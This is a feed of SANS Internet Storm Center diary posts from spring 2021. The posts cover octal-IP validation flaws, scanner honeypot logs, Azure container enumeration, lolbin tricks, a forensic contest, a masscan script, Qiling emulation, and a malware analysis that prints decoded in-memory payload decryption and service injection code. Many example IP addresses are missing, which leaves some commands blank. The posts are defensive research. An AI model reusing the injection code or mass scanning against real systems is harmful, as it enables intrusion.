Subscribe to SANS hírcsatorna SANS
SANS Internet Storm Center - Cooperative Cyber Security Monitor
Frissítve: 45 perc 14 másodperc
2 óra 56 perc

ISC Stormcast For Tuesday, May 11th, 2021, (Tue, May 11th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. május 10.

Correctly Validating IP Addresses: Why encoding matters for input validation., (Mon, May 10th)

Recently, a number of libraries suffered from a very similar security flaw: IP addresses expressed in octal were not correctly interpreted. The result was that an attacker was able to bypass input validation rules that restricted IP addresses to specific subnets. 

The vulnerability was documented in (this list is unlikely to be complete):

  • Node.js netmask package [1]
  • Perl (various packages) [2]
  • Python stdlib ipaddress module [3]

All of these vulnerabilities were caused by a similar problem: These libraries attempted to parse IP addresses as a string. Later, standard-based "socket" libraries were used to establish the actual connection. The socket libraries have their own "inet_aton" function to convert an IP address string to a long unsigned integer.

It isn't an accident that security researchers started to look at these libraries right now. More and more of our applications have surrendered data to cloud services and implement APIs to access the data. Server-Side Request Forgery (SSRF) is becoming more of an issue as a result. And to restrict which IP address a particular application may connect to, we often use the libraries above.

As a simple test string, use "". The leading "0" indicates that the address is octal. In "dotted decimal," the address translates to Google's name server

So if you have to validate an IP address: How to do it? First of all: Try to stick to one of the (hopefully now fixed) standard libraries. But in general, it can be helpful to stick to the same library for input validation and to establish the connection. This way, the IP address is not interpreted differently. There is also an argument to be made to just not allow octal. I leave that decision up to you. Standards do allow that notation.

For example, most languages under the hood rely on the C "Sockets" library to establish connections [4]. This library also includes functions to convert IP addresses expressed as a string into an unsigned 32-bit integer (inet_aton) and back (inet_ntoa)  [5]. Take a look if your language is implementing these functions.  Part of the problem of the node.js vulnerability was that node.js implemented its own "ip2long" function. 

So how do you verify if an IP address is inside a subnet? Well, there is a reason netmasks are called netmasks: They are bitmasks. Bitmasking is a very efficient and simple way to verify IP addresses.

First of all: Is this IP address a valid IPv4 address?

My favorite "trick" is to convert the address to an integer with inet_aton. Next, convert it back to a string with inet_ntoa. If the string didn't change: You got a valid address. This will work nicely if you only allow dotted decimal notation. If not: just convert the string with inet_aton and keep it an integer. Not all languages may use the Sockets library for "inet_aton." Some may use their own (buggy?) implementation. So best to check quickly: = = 134744072 .

If you get 168430090, then you got it wrong (that would be MySQL/MariaDB, for example, will get you the wrong answer:

MariaDB [(none)]> select inet_aton('')-inet_aton(''); +-------------------------------------------------------+ | inet_aton('')-inet_aton('') | +-------------------------------------------------------+ | 0 | +-------------------------------------------------------+

Output encoding matters for proper input validation!

So now, how do we verify if IP address "A" is in subnet B/Z ?

"z" is the number of bits that need to be the same. So let's create a mask:

mask = 2^32-2^(32-Z)

next, let's do a bitwise "AND" before comparing the result:

If ( A & mask == B & mask ) { IP Address A is in B/Z }

So in short:

  1. Try to use the same library to validate the IP address and to establish connections. That is probably the easiest way to avoid issues. Sadly, modern languages add additional layers, and it isn't always clear what happens in the background. 
  2. Test! inet_aton('') != inet_aton('').
  3. IPs are long integers, not strings.
So why do I sometimes see IP addresses like "" on

Remember, we started collecting data 20 years ago. I have learned since :) But some of my early sins still haunt me. Over the last few years, we moved to store the IP addresses as 32-bit unsigned integers, but "back in the day," we used 15 digit strings and zero-padded them for easy sorting... sorry. should be mostly gone by now and if you find a case where this is still happening, let me know.

What about IPv6?

That will be a different diary :)

What about hex notation?

There are a number of additional formats that can be used for IP addresses. For a complete collection of different representations of IP addresses [6]. Test them. Let me know what you find :) .



Johannes B. Ullrich, Ph.D. , Dean of Research,

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. május 10.

ISC Stormcast For Monday, May 10th, 2021, (Mon, May 10th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. május 9.

Who is Probing the Internet for Research Purposes?, (Sat, May 8th)

Shodan[1] is one of the most familiar site for research on what is on the internet. In Oct 2020 I did a diary on Censys [2][3], another site collecting similar information like Shodan. The next two sites are regularly scanning the internet for data which isn't shared with the security community at large.

Net Systems Research [4] probe the internet for research, but none of the data is accesible or published on the site. This is part of the message About Us: "Net Systems Research was founded in 2015 by a group of security data researchers who wanted to utilize a global view of the internet to study these difficult and emerging internet security challenges and understand the resulting implications."

Security IPIP [5] has no information beside a banner: "Our company engaged in the researching and data collecting of IP location, internet infrastructure and network security, we need to detect the internet (Ping/ Traceoute Mainly); For network security research, we need to obtain the IP location Banner and fingerprint information, we detecting the common port openly or not by ZMap, and collecting opened Banner data by our own code. Any questions please do not hesitate to contact with us:"

Over the past 3 years, my honeypot has logged information at various point in times from these 4 different research organizations. Here are some typical logs and their top 10 IPs. Shodan uses IP range to run its scans but unlike other scanners, it doesn't include a banner in the captured logs.

Activity first noticed 4 June 2018. This is a sample log:

20210507-171447: data
GET / HTTP/1.1
Accept-Encoding: identity
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36

Activity first noticed 19 Aug 2020. This is a sample log:

20210506-011443: data
GET / HTTP/1.1
Host: 70.55.XX.XXX:8080
User-Agent: Mozilla/5.0 (compatible; CensysInspect/1.1; +
Accept: */*
Accept-Encoding: gzip

Activity first noticed 15 Feb 2019. This is a sample log:

20210506-013155: data
GET / HTTP/1.1
Host: 70.55.XX.XXX:8443
User-Agent: NetSystemsResearch studies the availability of various services across the internet. Our website is

Activity first noticed 14 Oct 2018 data. This is a sample log:

GET / HTTP/1.1
Host: 70.55.XX.XXX:81
User-Agent: HTTP Banner Detection (
Connection: close

Since the data is already out there, why not use Shodan or Censys to explore what services a home router is sharing to the internet. Here is an example of list of services recorded and audited by Shodan which also includes SSL certificate information, banner version, etc.



Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. május 7.

ISC Stormcast For Friday, May 7th, 2021, (Fri, May 7th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. május 7.

Exposed Azure Storage Containers, (Fri, May 7th)

A couple months ago, we already covered the topic of exposed Azure Blob Storage in two separate ISC diaries, "Exposed Blob Storage in Azure" and "Preventing Exposed Blob Storage in Azure". The information therein is still relevant and valid, so if you are using Azure Storage, and haven't read these two diaries yet, please do.

There is no doubt that having an Azure Storage Container that is shared publicly at level "Container" is usually a bad idea, because everyone who knows the Container name can then trivially enumerate the contents, by simply tucking a /?comp=list&restype=container onto the URL.

But the container names themselves cannot be enumerated quite as easily, so some users of Azure Storage seem to feel safe-ish behind this layer of obscurity. But recently, we noticed a significant uptick in attempts to blindly enumerate existing storage containers. You can think of it as a dictionary attack of sorts, because the log files show the bad guys sequentially probing
etc, you get the drift.

The question is, how does this work? How do the attackers even distinguish between a Container that doesn't exist at all, and one that does exist, but has access restrictions set to "Blob"?  Well, here is how:

See it? "Blob not found" versus "Resource not found". This tells us that the container "/files/" exists, whereas "/othercontainer/" doesn't.  We could call this an example of CWE-209 aka "Error Message Containing Sensitive Information".  It is similar to a lesson learned two decades ago when error messages were distinguishing between "login incorrect" and "password incorrect" and indirectly facilitated brute-force breakin attempts by allowing an attacker to more readily identify valid accounts.

As a "countermeasure", you can

  1. Stop any public access by making your Storage Account "private". This should be the default, and is the only safe option. Refer to the two mentioned earlier diaries on how to do so, and how to implement prevention that works. If a Storage Account is set to "Private", the response will always be "Resource Not Found", irrespective of whether the attempt hits an existing container name or not.
  2. If you "have" to keep something shared at Blob level, maybe consider increasing the obscurity and smoke screen. Don't call your container "backup" or "data" or the like, call it "akreiqfasvkkakdff" or some such. While this doesn't really secure your data and only kicks the can down the obscurity road, it still makes it less likely that a brute force enumeration attempt will quickly find your container.
  3. Keep your eye on the new Azure Security Center alert titled "PREVIEW - Anonymous scan of public storage containers" (Azure Alerts Reference) that politely warns you whenever someone tries to enumerate containers in your storage account.

Here's an example of how this new "PREVIEW" alert looks like. Note the terms that were included in this particular enumeration attempt. If your Container shared at level "Blob" happens to be called one of these names, assume that it already has been "found".




(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. május 6.

Alternative Ways To Perform Basic Tasks, (Thu, May 6th)

I like to spot techniques used by malware developers to perform basic tasks. We know the lolbins[1] that are pre-installed tools used to perform malicious activities. Many lolbins are used, for example, to download some content from the Internet. Some tools are so powerful that they can also be used to perform unexpected tasks. I found an interesting blog article[2] describing how to use curl to copy files!

C:\Users\REM> curl file://c:\test\test.txt -o newfile.txt

Do you want another example? Some tools can be diverted from their regular use like ping.exe:

C:\Users\REM\Desktop>ping -n 5

This command will send five Echo-Request ICMP packets at an interval of one second so it will complete after approximately five seconds. Using ping.exe is not very discreet because a new process will be launched and can be spotted by a tool like Sysmon. Do you know a lot of non-tech people that use ping on their corporate computer? 

But ping.exe can be very useful for malware to detect if the computer can resolve hostnames and has Internet connectivity. Instead of using the ping command, you can use Powershell to achieve this:

Yesterday, I found a malicious PowerShell script that uses another technique that I never saw before. This time, the technique is based on a WMI query!

Conclusion: Keep in mind that attackers can use multiple techniques to perform simple tasks and defeat your detection rules and/or controls.

If you already met other techniques, please share!


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. május 6.

ISC Stormcast For Thursday, May 6th, 2021, (Thu, May 6th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. május 5.

ISC Stormcast For Wednesday, May 5th, 2021, (Wed, May 5th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. május 5.

May 2021 Forensic Contest, (Wed, May 5th)


Today's diary is a forensic contest for May 2021 based on a packet capture (pcap) with Windows-based infection traffic.  Like last month, this month's prize is a Raspberry Pi.  Rules for the contest follow:

  • Only one submission per person.
  • The first person to submit the correct answers will win the Raspberry Pi.
  • Submissions will be made using the form on our contact page at:
  • Use May 2021 Forensic Contest for the Subject: line.
  • Provide the following information:
    • IP address of the infected Windows computer.
    • Host name of the infected Windows computer.
    • User account name on the infected Windows computer.
    • Date and time the infection activity began in UTC (the GMT or Zulu timezone).
    • The family of malware involved.

Material for our May 2021 forensic contest is located at this Github repository.  The repository contains a zip archive with a pcap of network traffic from the infected Windows host.  I always recommend people review pcaps of malware in a non-Windows environment, if possible.

The source of this infection was a malicious email.  Fortunately, an email provider's spam filters usually catch the vast majority of malware before it hits someone's inbox.  Unfortunately, due to the vast amount of spam, some malicious emails make it through to their intended victims.

Shown above:  A visual representation of email spam filtering on a daily basis.


Analysis of the infection traffic requires Wireshark or some other pcap analysis tool.  Wireshark is my tool of choice to review pcaps of infection traffic.  However, default settings for Wireshark are not optimized for web-based malware traffic.  That's why I encourage people to customize Wireshark after installing it.  To help, I've written a series of tutorials.  The ones most helpful for this quiz are:

I always recommend participants review these pcaps in a non-Windows environment like BSD, Linux, or macOS.  Why?  Because this pcap contains traffic with Windows-based malware.  If you're using a Windows host to review such pcaps, your antivirus (or Windows Defender) may delete or alter the pcap.  Worst case?  If you extract malware from a pcap and accidentally run it, you might infect your Windows computer.

Active Directory (AD) Environment

The infected Windows host is part of an AD environment, so the pcap contains information about the Windows user account. The user account is formatted as firstname.lastname.  The AD environment characteristics are:

  • LAN segment range: ( through
  • Domain:
  • Domain Controller: - NutmegCrazy-DC
  • LAN segment gateway:
  • LAN segment broadcast address:

Final Words

Again, the zip archive with a pcap of the infection traffic is available in this Github repository.  The winner of today's contest and analysis of the infection traffic will be posted in an upcoming ISC diary two weeks from today on Wednesday May 19th.


Brad Duncan
brad [at]

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. május 4.

Quick and dirty Python: masscan, (Tue, May 4th)

Those who know me are aware that I am a recovering shell programmer.  I have 35+ years of various shell scripts involving complicated code pipelines with grep, cut, sort, uniq, awk, input files, output files, redirects, pipes etc...cobbled together to get jobs done. None of it is elegant and little of it could be called pretty. The last couple of years I have been trying to ramp up on Python and am increasingly finding that these complicated shell code scripts can be elegantly implemented in Python. The resulting code is way easier to read and way more supportable.

A simple example of this is the various scripts I have around as simple port scanners used to scan large swaths of IP address ranges for vulnerabilities. Since nmap is too slow for large numbers of IPs, my tool of choice for initial scanning of swaths of IPs and ports is the very speedy masscan.  masscan will find the open ports and then typically I will write the results to a file, manipulate the masscan output file to create an input file that nmap will read and then launch nmap to do the detailed scanning on the smaller set of IPs sending that output to even more files which then need to be manipulated and analyzed to extract the information I need.

Just recently I discovered there is a Python module for both masscan and nmap.   So far I have only spent time on the masscan module.  

Suppose you needed a script which will find all the web servers (port 80, 443)  in an address range.  It took me about 5 minutes to code up

#!/usr/local/bin/python3 import sys,getopt,argparse import masscan import pprint def main(): # read in the IP parameter parser = argparse.ArgumentParser() parser.add_argument('IP', help="IP address or range") args=parser.parse_args() ip=args.IP #scan address(es) using Masscan try: mas = masscan.PortScanner() mas.scan(ip, ports='80,443') except: print("Error:", sys.exc_info()[0]) sys.exit(1) # output result pprint.pprint(mas.scan_result) if __name__ == "__main__": main()

The script takes IP address(es) as an input and then scans those IPs using masscan to check if port 80 or 443 are open.

Running the script results in:

# ./, [2021-05-04 20:05:28,652] [DEBUG] [ 10 line] Scan parameters: "masscan -oX -, -p 80,443" {'masscan': {'command_line': 'masscan -oX -, -p 80,443', 'scanstats': {'downhosts': '0', 'elapsed': '12', 'timestr': '2021-05-04 20:05:41', 'totalhosts': '4', 'uphosts': '4'}}, 'scan': {'': {'tcp': {80: {'endtime': '1620158730', 'reason': 'syn-ack', 'reason_ttl': '53', 'services': [], 'state': 'open'}, 443: {'endtime': '1620158730', 'reason': 'syn-ack', 'reason_ttl': '53', 'services': [], 'state': 'open'}}}, '': {'tcp': {80: {'endtime': '1620158730', 'reason': 'syn-ack', 'reason_ttl': '61', 'services': [], 'state': 'open'}, 443: {'endtime': '1620158730', 'reason': 'syn-ack', 'reason_ttl': '61', 'services': [], 'state': 'open'}}}}}

The result is a Python dictionary that can be easily be parsed and fed into python-nmap (an exercise for another day).


Caveat1: Never scan an IP range you don't have permission to scan.  While port scanning is not illegal in most jurisdictions it is questionable ethically to scan things you don't own or have permission to scan.

Caveat2: I am not a professional Python programmer.  My scripting gets the job done that I need it to do.  I know there are many smart people out there who can write way better code than I can. 

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - Twitter:namedeplume (Protected)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. május 4.

Important Apple Updates, (Tue, May 4th)

On Monday May 3rd, Apple released important updates to macOS Big Sur, iOS and iPadOS, and watchOS to resolve an issue in WebKit which when "Processing maliciously crafted web content may lead to arbitrary code execution."  Apple has indicated that this issue is being actively exploited. 

Details at

The recommendation is to update as soon as reasonable.

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - Twitter:namedeplume (Protected)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. május 4.

ISC Stormcast For Tuesday, May 4th, 2021, (Tue, May 4th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. május 3.

ISC Stormcast For Monday, May 3rd, 2021, (Mon, May 3rd)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. május 2.

PuTTY And FileZilla Use The Same Fingerprint Registry Keys, (Sun, May 2nd)

Many SSH clients can remember SSH servers' fingerprints. This can serve as a safety mechanism: you get a warning when the server you want to connect to, has no longer the same fingerprint. And then you can decide what to do: continue with the connection, or stop and try to figure out what is going on.

This happened to me a couple of months ago. I wanted to transfer some files over SSH with FileZilla, and received a prompt that the server I usually connect to, had an unknown fingerprint. I did not go through with the connection, and started to investigate what was going on.

Long story short: I had removed SSH fingerprints cached by PuTTY in the Windows registry, and this impacted FileZilla: both use the same registry keys for their fingerprint cache.

You can see the registry keys here in FileZilla's source code:

If you do forensics on Windows machines, be aware that these registry keys are not only used by PuTTY, but also by FileZilla's fzsftp.exe module.

I have more details here if you are interested.


Didier Stevens
Senior handler
Microsoft MVP

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. május 1.

YARA Release v4.1.0, (Sat, May 1st)

YARA version 4.1.0 was released.

There are no major changes. Some new string testing functions: icontains, ...

Most surprising to me was the addition of the \t escape sequence in text strings. I didn't know this wasn't supported in prior versions.


Didier Stevens
Senior handler
Microsoft MVP

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. április 30.

Qiling: A true instrumentable binary emulation framework, (Fri, Apr 30th)

A while ago, during the FLARE On 7 challenge last autumn, I had my first experience with the Qiling framework. It helped me to solve the challenge CrackInstaller by Paul Tarter (@Hefrpidge). If you want to read more about this (very interesting) challenge:

Qiling is an advanced binary emulation framework, supporting many different platforms and architectures. It uses the well known Unicorn Engine and understands operating systems. It  knows how to load libraries and executables, how to relocate shared libraries, handles syscalls and IO handlers. Qiling can execute binaries without the binaries native operating system. You’ll probably won’t use Qiling to emulate complete applications, but emulating (large) functions and code works flawlessly. 

The Qiling framework comes out of the box supporting 40% of the Windows API calls, Linux syscalls and has also some UEFI coverage. Qiling is capable of creating snapshots, hooking into sys- and api calls, hot patching, remote debugging and hijacking stdin and stdout. Because Qiling is a framework, it is easy to extend and use by writing Python code.

Let me walk you through some of the features. Qiling can be started by a docker container, using the following command: 

docker run -p 5000:5000 -v (pwd):/work -it qilingframework/qiling

To start with Windows binaries, you need to collect the dlls (and registry) from a Windows system first. The batch file is available for this purpose, this will collect all the necessary files to get started.

After collecting the files, the following will make Qiling to load the library, configure the architecture and operating system and point to the root filesystem (containing the windows or linux libraries):

ql = Qiling(["/work/credhelper.dll"], archtype="x86", ostype="windows", rootfs="/work/10_break/rootfs/x8664_windows/", output="debug", console=True)

Now the framework is initialized, it is ready to execute specific address ranges. But first you’ll probably want to set-up, memory, stack and register values, which are being offered by the Unicorn Engine:

# set up memory pool pool = ql.mem.map_anywhere(size) # write memory at specific location ql.mem.write(0x14000608c, ql.pack64(0x41424143414242)) # configure register values ql.reg.rdx = param2 # setting up stack values ql.stack_write(0x358, ql.reg.rsp+576) # local_358

Now we have set the memory, stack and registry, we can start the emulation:, end=end_offset)

If you add the disassembly capabilities of Capstone, parts of the memory can be disassembled easily. The snippet below will hook every instruction and run the print_asm function.

from capstone import * md = Cs(CS_ARCH_X86, CS_MODE_64) def print_asm(ql, address, size): buf =, size) for i in md.disasm(buf, address): print(":: 0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str)) ql.hook_code(print_asm)

Dynamically hooking into the application, can be done using memory hooks, like intercepting memory errors and invalid reads:

def ql_x86_windows_hook_mem_error(ql, access, addr, size, value): ql.dprint(D_INFO, "[+] ERROR: unmapped memory access at 0x%x" % addr) return False ql.hook_mem_unmapped(ql_x86_windows_hook_mem_error) def hook_mem_read_invalid(ql, access, addr, size, value): ql.dprint(D_INFO, "[+] ERROR: invalid memory read at 0x%x" % addr) return True ql.hook_mem_read_invalid(hook_mem_read_invalid) def hook_mem_invalid(ql, access, addr, size, value): ql.dprint(D_INFO, "[+] ERROR: invalid memory access at 0x%x" % addr) return True ql.hook_mem_invalid(hook_mem_invalid)

Often you want to intercept specific API calls, or maybe add calls that haven’t been implemented yet. The following code will implement the StringFromGUID2 api call, write the value to memory to the location lpsz parameter points to and return the size of the bytes written.

@winsdkapi(cc=STDCALL, dllname="ole32_dll", replace_params={ "rguid": POINTER, "lpsz": POINTER, "cchMar": DWORD, }) def hook_StringFromGUID2(ql, address, params): ql.nprint("StringFromGuid2", address, params) ql.mem.write(params.get('lpsz'), "test".encode('utf-16le') + '\x00'.encode('utf-16le')) return 5 ql.set_api("StringFromGUID2", hook_StringFromGUID2)

Hot patching code, is just writing to memory locations:

# patch kernel execute ql.mem.write(0x140002b59, b'\x90\x90\x90\x90\x90\x90')

For this specific FlareOn challenge, I created a small Ghidra python plugin, to be able to visually select the address range to emulate. The Ghidra plugin communicates with a flask server, running my Qiling code to run the emulation and return results back to Ghidra. Using this approach it was easy to emulate small parts of the code and eventually leading to the solution of the challenge. 

There is much more Qiling, but for now have a great day!


Remco Verhoef (@remco_verhoef)
ISC Handler - Founder of DTACT

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. április 30.

ISC Stormcast For Friday, April 30th, 2021, (Fri, Apr 30th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. április 29.

From Python to .Net, (Thu, Apr 29th)

The Microsoft operating system provides the .Net framework[1] to developers. It allows to fully interact with the OS and write powerful applications... but also malicious ones. In a previous diary[2], I talked about a malicious Python script that interacted with the OS using the ctypes[3] library. Yesterday I found another Python script that interacts with the .Net framework to perform the low-level actions.

The script was called ''[4]  (SHA256:65b43e30547ae4066229040c9056aa9243145b9ae5f3b9d0a01a5068ef9a0361) has a low VT score of 4/58. Let's have a look at it!

First, all interesting strings are obfuscated using a one-liner:

>>> URIAbQ=lambda s,k:''.join([chr((ord(c)^k)%0x100) for c in s]) >>> URIAbQ ('\x8d\x98\x8a\x92\x95\x90\x8a\x8d\xd9\xd6\xbf\xb0\xd9\xdb\xaa\xbc\xab\xaf\xb0\xba\xbc\xaa\xd9\x9c\x88\xd9', 249) 'tasklist /FI "SERVICES eq '

As the diary title says, the Python script uses the Python.Net library[5] to interact with the .Net framework:

Note: all the snippets of code have been decoded/beautified

from System.Security.Cryptography import* from System.Reflection import* import System

The script uses encrypted payloads but it was not possible to decrypt them because the script was found outside of its context. Indeed, it expects one command-line argument:

if __name__ == "__main__": if len(sys.argv) != 2: exit()

The expected parameter is the encryption key as we can see in this function call:

payload = DecryptPayloadToMemory(base64.b64decode(payload1[16:]), sys.argv[1], payload1[:16], log_file)

I did not found the parameter passed as an argument, no way to decrypt the payloads!

These payloads (stored in the script) are decrypted in memory:

def DecryptPayloadToMemory(payload, key, iv, log_file): instance = None try: rm = RijndaelManaged(KeySize=128, BlockSize=128) rm.Key = Str2Bytes(key) rm.IV = Str2Bytes(iv) rm.Padding = PaddingMode.PKCS7 payload = Str2Bytes(payload) with System.IO.MemoryStream()as memory_handle: with CryptoStream(memory_handle,rm.CreateDecryptor(rm.Key, rm.IV), CryptoStreamMode.Write) as crypto_handle: crypto_handle.Write(payload, 0, payload.Length) print(crypto_handle.FlushFinalBlock()) memory_handle.Position = 0 instance = System.Array.CreateInstance(System.Byte, memory_handle.Length) memory_handle.Read(instance, 0, instance.Length) except System.SystemException as ex: log_file.write('[!] Net exc (msg: {0}, st: {1})'.format(ex.Message, ex.StackTrace)) log_file.flush() instance = None return instance

The script injects malicious code into two Windows services:

process_name = "rpceptmapper" process_name2 = "lanmanserver"

Two payloads are injected into these services using the Assembly.CreateInstance method[6]:

def InjectCode(enc_payld, process_name, log_file, asm): payload = DecryptPayloadToMemory(base64.b64decode(enc_payld[16:]), sys.argv[1], enc_payld[:16], log_file) if payload == None: log_file.write('[!] Failed to get payload') return False try: type = asm.GetType('DefaultSerializer.DefaultSerializer') pid = GetProcessPID(process_name) if pid != 0: NQHRxUDMlW = asm.CreateInstance(type.FullName,False,BindingFlags.ExactBinding,None,System.Array[System.Object]([payload,pid]),None,None) NQHRxUDMlE = type.GetMethod('Invoke') log_file.write(NQHRxUDMlE.Invoke(NQHRxUDMlW, None)) else: log_file.write('[!] Failed to get pid') return True except System.SystemException as ex: log_file.write('[!] Net exc (msg: {0}, st: {1})'.format(ex.Message,ex.StackTrace)) return False return True

Another example of how Python becomes more and more popular for attackers!


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. április 29.

ISC Stormcast For Thursday, April 29th, 2021, (Thu, Apr 29th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.